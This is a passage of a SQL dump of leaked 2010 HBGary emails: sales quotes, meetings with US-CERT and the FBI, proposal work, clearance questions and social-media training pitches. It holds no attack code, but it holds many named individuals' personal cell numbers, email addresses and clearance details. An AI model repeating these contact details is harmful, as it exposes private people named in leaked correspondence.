He said he would prefer the transaction to go through HBGary.&nbsp; Ask Penny about a finder’s fee for HBG Fed.&nbsp;Bob &nbsp;No virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10 14:34:00\r\n\r\n',2717,'aaron_hbgary_com/2717.html'),(11569,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008725.M191113P14101Q6424.eml','\"Penny Leavy\" <penny@hbgary.com>','Jack Meeting','We had a great discussion.  All is good.  So I guess next step is the Term sheet Jack will send out?\r\n\r\nGive me a call when you get a chance.\r\n\r\nAny chance you can make a deposit tomorrow? :)\r\n\r\nTalk to you later.\r\n\r\nLooking forward to meeting with Director of IARPA tomorrow, let you know how that goes.\r\n\r\nAlso I am meeting with a bunch of folks next Wednesday from the Cyber Division of FBI.  Not sure if Phil can support, if not I am sure I will do ok. They want to talk about attribution.\r\n\r\nAaron',1493,'aaron_hbgary_com/1493.html'),(11570,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008725.M409821P14101Q6425.eml','\"Bob Slapnik\" <bob@hbgary.com>','FBI Cyber Devision','Hey Bob,\r\n\r\nDon\'t think I told you yet.  I have a meeting on Wednesday with some folks that lead up the Cyber Division at FBI to discuss attribution and how some of the stuff we are building and doing can help.  TMC, Fingerprint, Palantir, etc.  Will be similiar to the US-CERT talk today.\r\n\r\nAaron',14288,'aaron_hbgary_com/14288.html'),(11571,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008725.M620141P14101Q6426.eml','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,','Re: Gatorbait','ok great.So on case collaboration we have some technology that we build a few years back called inspector which was a team forensics tool, so yes, although honestly not sure how good it is, I will have to revisit. &nbsp;We also use Palantir for cyber investigation collaboration, its goof for that, and we have a strong partnership with them.I will look at the program areas, but off the cuff, we are a forensics, RE type of capability, so those are a no brainer for fit, I will look at the others.We have basic and advanced malware analysis and reversing training classes we teach pretty regularly, in fact we have a course in Mclean next week.AaronOn Sep 9, 2010, at 4:27 PM, Windle, Amanda J wrote:Hey Aaron,In looking at where we are in the prop, we wanted to ask the following of HBGary:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please review the entire Tech Volume, with a focus on 2.6.2 and 2.6.3·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do you have specific tools for case collaboration or automation of forensic workflows?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;How do your tools fit into the program areas?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Does HBGary have experience developing, or have previously developed, Forensic Training or Reverse Engineering courses?&nbsp;Thanks in advance, and we look forward to seeing you in the morning,&nbsp;Amanda J. WindleBusiness DevelopmentManTech International CorporationMission Cyber &amp; Technology Solutions Group7799 Leesburg Pike Suite 700 SouthFalls Church, VA 22043703-485-8056&nbsp;office703-200-2557 cellamanda.windle@mantech.comMaking America Stronger by Supporting and Securing Critical Missions&nbsp;**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.&nbsp;',3182,'aaron_hbgary_com/3182.html'),(11572,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008725.M852993P14101Q6427.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,','Re: Aaron\'s meeting with the US-CERT for TMC','Great Job!  I&#39;ll call you tomorrow for detail on next steps.On Thu, Sep 9, 2010 at 6:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSure.Overall the meeting went well.  They did have reservations about DDNA detection for their APT malware.  When I asked them what were the flavors of APT malware they mentioned the newer Zeus, Fake-AV malware, which made me go hmmmm.... because I was under the impression we do great on those.  I talked to Greg afterwards and he mentioned something that has been mentioned before which is they might not be allowing the dropper to actually download the malware and are just running it against a itty bitty dropper, no go.  Soooo I asked for some malware samples to help us improve our technology and they said they would send what we needed.\r\nOn the TMC.  They liked where we were going which is this.Provide TMC with DDNA results for volume malware (done).Provide a UI with a querable capability to search for IOCs within the database (not too difficult).\r\nProvide reports similiar to those of CWSandbox and Anubis (not to difficult).Hook in Fingerprint (not too difficult).Hook in Palantir (last piece - Palantir is going to do most of this work for us).\r\nThey like all these pieces.  The piece they asked for was the ability to add IOCs to DDNA so they can alert on things that are not being caught by DDNA.  After talking with Greg, all the data is their in the TMC just to run crafted IOCs against what exists.  We could develop a process to automate this in some way if they wanted.  Meaning at to an IOC list and run all malware analysis against those IOCs during normal processing.\r\nThey also like our IR concept of combining End Games, Fidelis, and AD as part of an IR package.  The lead IR guys exact comment was, &quot;Thats smart&quot;. :)  So I will follow up with Sean to get in front of Nick (IR Guy) to talk specifically about that.\r\nAaronOn Sep 9, 2010, at 9:03 PM, Maria Lucas wrote:\r\nPenny\r\n \r\nAaron had a hugely successful meeting with the US-CERT.   \r\n \r\nThe outcome is twofold:\r\n \r\n1. There is very high interest. We have to &quot;productize&quot; the Center.  And, Aaron believes this is a multi-million dollar sale.\r\n \r\n2. The US-CERT will be providing malware samples to Aaron to help us improve DDNA detection.  They claim that detection rates for APT are low.   \r\n \r\nAaron, can you provide a write up for us please?\r\n \r\nThank you \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',8708,'aaron_hbgary_com/8708.html'),(11573,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008726.M71952P14101Q6428.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: DigitalGlobe Outline for Presentation','-Yes he wants the social media training included.My interpretation is they want to know how other organizations are approaching the malware problem insofar as these strategies could be adopted at DigitalGlobe.\r\nfor example:-Policies on social media etc.-Adoption of behavior based technologies for detection-Analyzing malware and utilizing threat intelligence\r\n-Segmenting networks and internet access-Integrated approach: perimeter protection, web protection, endpoint protection -- what technologies are being adopted\r\n-Organizational impact: having a SOC versus managed services, having an IR documented plan, workflow etc.We want to focus on their problem and what they can do based on what others are doing today...\r\nOn Thu, Sep 9, 2010 at 6:10 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOne missing piece is Daniel is expecting to hear a bit about social media during the CIO/CTO presentation.  He specifically told me he wanted to present some of that information in that forum.  I don&#39;t have to take a lot of time, 10-15min. I can convey enough information.\r\nMaria, to what level do they want information on DoD, NSA, CyberCOM information?  Is this a how does NSA detect APT (Tutiledge), DHS (Einstein), how does malware analysis fit into the Incident handling process, etc?  Do they want information on the DIB (Defense Industrial Base) initiative and how the CNCI is being implemented?  Legislation?\r\nAaronOn Sep 9, 2010, at 8:55 PM, Maria Lucas wrote:\r\nGreg\r\n \r\nOn Monday you will be presenting at Digital Globe -- the agenda is attached and approved by DigitalGlobe.\r\n \r\nAaron and Ted will both be attending.  Aaron is there to present Social Engineering Training and Ted is there to assist with the Active Defense software sale and will help to provide installation, deployment and training post-sale.\r\n\r\n\r\n \r\nI am available to review the agenda anytime.  I will be reviewing the agenda with Ted and he said that he will be there to keep you on track and be responsible to make sure that we cover all the topics important to closing the deal.\r\n\r\n\r\n \r\nI would attend the meeting normally but I believe you are in excellent company already.\r\n \r\nLet me know when you would like to do this?\r\n \r\nMaria\r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n&lt;HBGARY PRESENTATION OUTLINE FOR DIGITALGLOBE.docx&gt;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n',4601,'aaron_hbgary_com/4601.html'),(11574,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008727.M757074P14101Q6429.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Polo Shirts / Ball Caps','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Cheryl Sheahan &lt;CherylSheahan@embroidme-denversouth.com&gt;Subject: Re: Polo Shirts / Ball Caps\r\nHi Cheryl,I&#39;m sorry, I placed an order with Stitch America last Wednesday.  I&#39;lldefinitely consider you for future work though because I&#39;d prefer to\r\nbuy local.I&#39;m in the IT business, and I&#39;m working on a startup company that willrevolutionize mobile marketing.  I think it could really benefit your\r\ncompany as well as your customers.If you have a second, please try this.  Text embroidme to 90210 fromyour cell phone.Neat huh?...\r\nThen visit my website:  http://www.izigg.com/coloradoAttached is our press kit.\r\nI&#39;d love to have you as a customer, and potentially a distributor inDenver if you&#39;re interested.Regards,Ted Vera\r\n719-237-8623On Tue, Sep 7, 2010 at 12:26 PM, Cheryl Sheahan&lt;CherylSheahan@embroidme-denversouth.com&gt; wrote:\r\nHi Ted:  We can definitely help you.  I apologize for the delay inresponding.  The first thing though is that your logo would have to be\r\ndigitized.  That is a one time fee of $125.  Once that is done then itis $7 per piece to put it on items purchased from us.  The pricing on\r\ncaps is anywhere from $4 up and polo&#39;s are $20 and up.  Hope that helps.\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Tuesday, August 31, 2010 10:33 AM\r\nTo: Cheryl SheahanSubject: Polo Shirts / Ball Caps\r\nHi Cheryl,I found your email on embroiderme.com.\r\nI&#39;m interested in obtaining a quote for 4 polo shirts (2 long sleeve,2 short sleeve) and 6 ball caps embroidered with my company logo.\r\nAttached is our logo in Adobe CS vector art.\r\nThanks,Ted719-237-8623\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n',6268,'aaron_hbgary_com/6268.html'),(11575,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008728.M300554P14101Q6431.eml','\"Mark Trynor\" <mark@hbgary.com>','u rock','',5965,'aaron_hbgary_com/5965.html'),(11576,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008728.M516865P14101Q6432.eml','\"Pugsley, Brandon\" <brandon.pugsley@lmco.com>','Re: EXTERNAL: Update from Ted','Hey Brandon,Friday works best if its still available.AaronOn Sep 8, 2010, at 10:22 AM, Pugsley, Brandon wrote:Aaron,&nbsp;Wanted to get a quick reply to you.&nbsp; I am working my schedule to clarify the remainder of this week (Thurs or Friday afternoon).&nbsp; For next week Monday or Friday afternoon works reasonably well.&nbsp; How does this align with your availability?&nbsp;Brandon&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 10:09 PMTo:&nbsp;Pugsley, BrandonCc:&nbsp;Ted VeraSubject:&nbsp;Re: EXTERNAL: Update from Ted&nbsp;Hi Brandon,&nbsp;When are some good dates and times for you?&nbsp;Aaron&nbsp;On Sep 3, 2010, at 1:38 PM, Pugsley, Brandon wrote:I would be happy to meet with Aaron.Thanks,Brandon&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, September 03, 2010 1:21 PMTo:&nbsp;Pugsley, BrandonCc:&nbsp;Barr AaronSubject:&nbsp;Re: EXTERNAL: Update from Ted&nbsp;Brandon,&nbsp;Aaron Barr (cc\'d) is our CEO, and he\'s located in McLean VA. &nbsp;I\'d like to hand you over to him, and perhaps you two can set up a face-to-face discussion. &nbsp;Does that sound alright to you?&nbsp;Regards,TedOn Fri, Sep 3, 2010 at 11:00 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:I’m located in Herndon, VA and have some flexibility.Brandon&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, September 03, 2010 12:44 PMTo:&nbsp;Pugsley, BrandonSubject:&nbsp;Re: EXTERNAL: Update from Ted&nbsp;No problem Brandon,&nbsp;I just got back from two weeks of back-to-back travel and plan to be in the office (Colorado Springs) most of this month. &nbsp;Where are you physically located?&nbsp;Hope you have a nice long weekend too.&nbsp;Ted&nbsp;On Fri, Sep 3, 2010 at 10:41 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:Ted,&nbsp;I apologize for the length of time it has taken me to get back to you.&nbsp; I would like to follow-up with you, perhaps meet, and discuss some of the overarching trends you are seeing in the community.&nbsp; I have read and digested the whitepapers that you provided, and agree with many of your assessments.&nbsp;Let me know how your schedule looks, and have a good Labor Day weekend.&nbsp;Regards,Brandon&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, July 30, 2010 11:29 AMTo:&nbsp;Pugsley, BrandonCc:&nbsp;Mcculloch, Scott DSubject:&nbsp;Re: EXTERNAL: Update from Ted&nbsp;Hi Brandon,&nbsp;This week HBGary presented our new Fingerprint application atBlackhat. &nbsp;Fingerprint examines tool-marks left in executables anduses them to create a signature that can help with malware attributionand lineage -- ie finding the bad guys. &nbsp;We released Fingerprint as afree download, including the source-code, so organizations can tailorit to their unique mission and help advance the technology. &nbsp;We havelots of ideas on how this technology can be used in a big way to helpthe cyber fight. &nbsp;I look forward&nbsp;to discussing future teaming opportunities.You can download and find out more about our Fingerprint tool here:http://www.hbgary.com/community/free-tools/You can read more about our Blackhat talk here:http://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx&nbsp;&nbsp;Regards,TedOn Fri, Jul 23, 2010 at 9:40 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:Ted,&nbsp;Likewise!&nbsp; Scott did send me the whitepapers.&nbsp; Let me get a look and see what technical folks/activities tie in.&nbsp; I’m working across some of the broader initiatives, and your team’s expertise is well beyond my depth.&nbsp; I look forward to learning more about what you are working to accomplish, and seeing if we can leverage it appropriately.&nbsp;Best,Brandon&nbsp;&nbsp;Brandon PugsleyInformation Systems &amp; Global Services-SecurityBusiness Development, Advanced ProgramsOffice 703.466.2788Cell 703-999-9162Pager 800-200-5295brandon.pugsley@lmco.com&lt;image001.gif&gt;&nbsp;&nbsp;&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, July 23, 2010 11:18 AMTo:&nbsp;Pugsley, BrandonCc:&nbsp;Mcculloch, Scott DSubject:&nbsp;Re: EXTERNAL: Update from Ted&nbsp;Hi Brandon,&nbsp;Nice to virtually meet you. &nbsp;Did Scott attach the whitepapers? &nbsp;If not, I can resend. &nbsp;What areas of Cyber are you focused on.&nbsp;Regards,Ted&nbsp;&nbsp;On Fri, Jul 23, 2010 at 6:45 AM, Mcculloch, Scott D &lt;scott.d.mcculloch@lmco.com&gt; wrote:Ted,Goo dto hear from you. And no I have not got on facebook yet.On the CC line is Brandon, he is working some LM initiatives that could have some relevance to your companies capabilities.Scott D. McCullochBusiness Development - Capture Excellence Lockheed Martin IS&amp;GS - Security571-246-3148 (Cell)703-466-2315 (Office)-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Wednesday, July 14, 2010 5:12 PMTo: Mcculloch, Scott DSubject: EXTERNAL: Update from TedHi Scott,How\'s it going? &nbsp;Did you ever get up on Facebook?I\'m trying to drum up some business, and I thought you might be interested in what I\'ve been up to for the last six months or so. &nbsp;I run a small software development and services company, HBGary. &nbsp;We specialize in all things related to malware. &nbsp;Greg Hoglund is our CEO and founded the company in 2003. &nbsp;Greg is an accomplished author, world recognized leader in rootkit technology and was recently named one of \"10 hackers to know\" in Network Security magazine. &nbsp;We offer a number of Cyber services including malware reverse engineering, vulnerability research, exploit development, incident response, penetration testing, and digital forensics. &nbsp;We also have a mature product-line of COTS which assist in accomplishing those tasks.I\'ve attached three whitepapers that I think you may find interesting.&nbsp;The first is our analysis of the Aurora attack, the second is a how-to guide for using our REcon product to develop software exploits, and the third describes our latest Enterprise product, Active Defense.I\'d appreciate any introductions you can provide, if you know anyone that you think may be interested in our offerings, or advice you may have.Warm Regards,Ted--Ted H. VeraPresident | COOHBGary Federal719-237-8623http://www.hbgary.com--&nbsp;Ted H. VeraPresident | COOHBGary Federal719-237-8623--&nbsp;Ted H. VeraPresident | COOHBGary Federal719-237-8623--&nbsp;Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com&nbsp;&nbsp;| &nbsp;ted@hbgary.com--&nbsp;Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com&nbsp;&nbsp;| &nbsp;ted@hbgary.com&nbsp;',12463,'aaron_hbgary_com/12463.html'),(11577,'2010-09-10','\"Carma Beedle\" <carma@hbgary.com>','/aaron@hbgary.com/new/1297008728.M57034P14101Q6430.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev needs a quote','Cool.  I&#39;ll make sure it happens smoothly.  Thanks again!\r\nOn Thu, Sep 9, 2010 at 6:31 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHey Carma, \r\n\r\nNo worries I did and they will take it.  The would like to do the purchase right away.  Their engagement with the large US Telco starts on Monday so they would like either a temp license or whatever we can do to make sure they can operate on Monday.\r\n\r\n\r\nThanks,\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 9:30 PM, Carma Beedle wrote:\r\n\r\nSorry guys, I&#39;ve been driving the past 2+ hours from Sacramento home.   :(\r\n \r\nThank you though!   I assume Aaron is going to send it to the customer?\r\n \r\nBest Regards,\r\nCarma\r\n415 517 0663\r\nOn Thu, Sep 9, 2010 at 5:18 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nQuote is attached.\r\n \r\n\r\nBob \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob SlapnikCc: &lt;carma@hbgary.com&gt;; Penny Leavy-HoglundSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n \r\n\r\nCan we get them a quote today?\r\n\r\n \r\n\r\nAaronSent from my iPhone\r\n\r\nOn Sep 9, 2010, at 5:10 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCarma,\r\n \r\nAaron at HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev in Canada.  They don’t have much money and they said they would buy before Sept 30, so Aaron offered them a 30% discount with approval from Penny.  Please send a quote for SecDev which Aaron will forward to them.\r\n\r\n \r\nI asked Aaron if HBG Fed would be the reseller.  He said he would prefer the transaction to go through HBGary.  Ask Penny about a finder’s fee for HBG Fed.\r\n \r\nBob \r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10 14:34:00\r\n\r\n',2180,'aaron_hbgary_com/2180.html'),(11578,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008728.M750796P14101Q6433.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Social Media, Exploitation, and Persistent Internet Operations','9/13 is bad I will be in Denver Mon/Tues. &nbsp;I can do Wed or Fri. &nbsp;Always up for lunch at your place. :)AaronOn Sep 8, 2010, at 9:26 AM, Matthew Steckman wrote:How does 9/13 work for you?&nbsp; Want to come for lunch?&nbsp;&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;Follow&nbsp;@palantirtechWatch&nbsp;youtube.com/palantirtechAttend&nbsp;Palantir Night Live&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 10:10 AMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Sure thing, just send me a note. &nbsp;I have never been to India but I can imagine it has to be a bit crazy.&nbsp;Aaron&nbsp;On Sep 5, 2010, at 3:02 AM, Matthew Steckman wrote:Very nice.&nbsp; I might want to attend to check it out, maybe see how Palantir could fit into your thinking.&nbsp;Let’s sync up when I get back from India.&nbsp; This country is nuts, have you ever been?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;Follow&nbsp;@palantirtechWatch&nbsp;youtube.com/palantirtechAttend&nbsp;Palantir Night Live&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, September 01, 2010 2:32 PMSubject:&nbsp;Social Media, Exploitation, and Persistent Internet Operations&nbsp;The rise of the social web has created an entirely new set of useful technologies and security vulnerabilities. &nbsp;It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.HBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization. &nbsp;We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.Attached is our training brochure for our online and in-class social media training programs, 1/2 and full day. &nbsp;We also offer a tailored training program that is preceded by a social media penetration test. &nbsp;The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.Visit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training. &nbsp;You can also follow us on twitter to receive regular updates &nbsp;or become a fan of our Facebook page.Web:&nbsp;training.hbgaryfederal.comTwitter: HBGaryFedFacebook: HBGary FederalEmail:&nbsp;training@hbgaryfederal.com&nbsp;',7291,'aaron_hbgary_com/7291.html'),(11579,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008728.M947175P14101Q6434.eml','\"Chris Coulter\" <chris.coulter@SkoutForensics.com>','Re: Need an ediscovery person in your area to support hbgary on a tsa','Hi Chris,Were you contacted by DMI today? &nbsp;Sorry I didn\'t catch up with you I was swamped. &nbsp;Do you have any time tomorrow to chat briefly?AaronOn Sep 8, 2010, at 8:36 PM, Chris Coulter wrote:\r\nHello Aaron, \r\n\r\n&nbsp;My name is Chris Coulter Co-Founder of Skout Forensics and a close contact of Shane Shook, as well an acquaintance of Penny and Greg (HBGary and Skout Forensics share an OEM agreement). Shane reached out to me regarding a requirement for an eDiscovery individual to assist with the TSA.\r\n\r\nWhile I have been devoted to Skout Forensics over the past several months, I now have a considerable amount of down-time ahead of me while a key product of ours is being developed. I have actually been pursuing contracts over the past couple of weeks. I have a broad understanding of most systems infrastructures and the security issues that exist. I am familiar with HBGary\'s Suite of products and have working knowledge of them. Specifically though, my focus is Computer Forensics and the eDiscovery lifecycle. I am available anytime tonight or tomorrow if you wish to follow up. Also for your reference I have attached my resume. \r\n\r\nThank you, \r\n\r\nChris Coulter\r\n\r\nSkout Forensics\r\nMobile: 202.407.1730\r\nOffice: 703.755.0001\r\n1915-B Chain Bridge Rd. #1\r\nMcLean, VA 22102\r\nChris.Coulter@SkoutForensics.com\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n------ Forwarded Message\r\nFrom: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nReply-To: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nDate: Thu, 9 Sep 2010 00:01:52 +0000\r\nTo: Chris Coulter &lt;Chris.Coulter@SkoutForensics.com&gt;\r\nSubject: Re: Need an ediscovery person in your area to support hbgary on a tsagig\r\n\r\nI\'m sure either you or your friend would be good - call aaron barr at hbgary and share the details\r\n\r\nAaron@hbgary.com \r\n\r\n\r\n- Shane \r\n------Original Message------\r\nFrom: Chris Coulter\r\nTo: Shane Shook\r\nSubject: Re: Need an ediscovery person in your area to support hbgary on a tsagig\r\nSent: Sep 8, 2010 7:02 AM\r\n\r\nHey Shane,\r\n&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Is this something I could do? Actually started pursuing contracts\r\nthrough Kaylan\'s company. Skout is very slow for the time being or until\r\ndevelopment is completed, we are 1 month development checkpoints. The kit is\r\non autopilot now, the big sales are almost finalized and the small-one off\r\nsales are being done by the distributors.\r\n\r\n&nbsp;If not a close friend who I think left Stroz might be doing some\r\nindependent work currently. I will check and see.\r\n\r\n\r\nAlso just got off the phone with Tomas Castrajon from Deloitte (now General\r\nDynamics), mentioned you specifically when I brought up PwC.\r\n\r\n\r\n\r\n\r\nSent via BlackBerry from T-Mobile\r\n\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n&lt;Christopher Coulter-Resume.docx&gt;',9622,'aaron_hbgary_com/9622.html'),(11580,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008729.M240658P14101Q6435.eml','\"Matt Standart\" <matt@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>','Re: Clearance','Hi Matt,\r\n\r\nLet me check.  In order to get your clearances held I would need to find some number of hours for you to work a classified program.  If we win TSA I think that will be a good opportunity.\r\n\r\nOn the SCI, if I remember right you have never had it, which means you would need to submit fresh, which takes from what I understand about 6-12 months, and again requires a billet.  Let me try and figure it out.  The FBI guys won\'t sponsor your SCI?  Our facilities clearance should be approved in the next 2-4 weeks, after that we will have the authority to actually hold clearances, at that point I may just be able to hold you TS, actually I think that is the case.\r\n\r\nEmails out would be great.  If you can convince anyone to talk to me that currently has a Full Poly I have some interesting positions available.  Also some new programs starting in Oct. and Nov.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 8, 2010, at 5:45 PM, Matt Standart wrote:\r\n\r\n> Hey Aaron,\r\n>  \r\n> Was just wondering about the steps to getting my clearance reestablished, and the possibility of getting SCI level.  My local FBI agents are inquiring, and said SCI would be beneficial for me to have given the information I usually provide to them ends up at that level.\r\n>  \r\n> Also, did you want me to send out emails to my forensic mailing lists for interested applicants?  Let me know and I can take care of that.\r\n>  \r\n> Thanks,\r\n>  \r\n> Matt\r\n>  \r\n>  \r\n\r\n',14198,'aaron_hbgary_com/14198.html'),(11581,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008729.M591705P14101Q6436.eml','\"Matt Bigge\" <matt@strategicsocial.com>','Re: Introduction','Hey Matt,\r\n\r\nSorry got piled up.\r\n\r\nWhen are some other opportunities?  I potentially have some time mid day tomorrow, or next wed or friday?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 10:33 AM, Matt Bigge wrote:\r\n\r\n> I\'m open Thursday after 12pm as well.  Would that work?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, September 07, 2010 6:53 PM\r\n> To: Matt Bigge\r\n> Cc: Nathan Atherley\r\n> Subject: Re: Introduction\r\n> \r\n> Hey Matt,\r\n> \r\n> I will be in Denver early next week.  Shoot me a few other dates/times that might work.\r\n> \r\n> Aaron\r\n> \r\n> On Sep 7, 2010, at 5:24 PM, Matt Bigge wrote:\r\n> \r\n>> Nate - great to meet you this morning. You are working on some pretty cool things and it would be great to help in any way I can.\r\n>> \r\n>> Aaron - It sounds like you are working on something that might be helpful on a project we are currently pursuing.  I\'ll in my Rosslyn office all of next week.  Perhaps we could get together?  Monday and Tuesday are best for me.\r\n>> \r\n>> Regards,\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, September 07, 2010 3:55 PM\r\n>> To: Nathan Atherley\r\n>> Cc: Matt Bigge\r\n>> Subject: Re: Introduction\r\n>> \r\n>> Nate,\r\n>> \r\n>> Thanks for the intro.  Lets get together if schedules permit, this topic is always good over a beer or food.\r\n>> \r\n>> Greg and I currently have a side project we are working on that is focused around location and social gaming that we are pretty excited about that I would be happy to tell you a little about.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n>> \r\n>>> Aaron\r\n>>> \r\n>>> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, 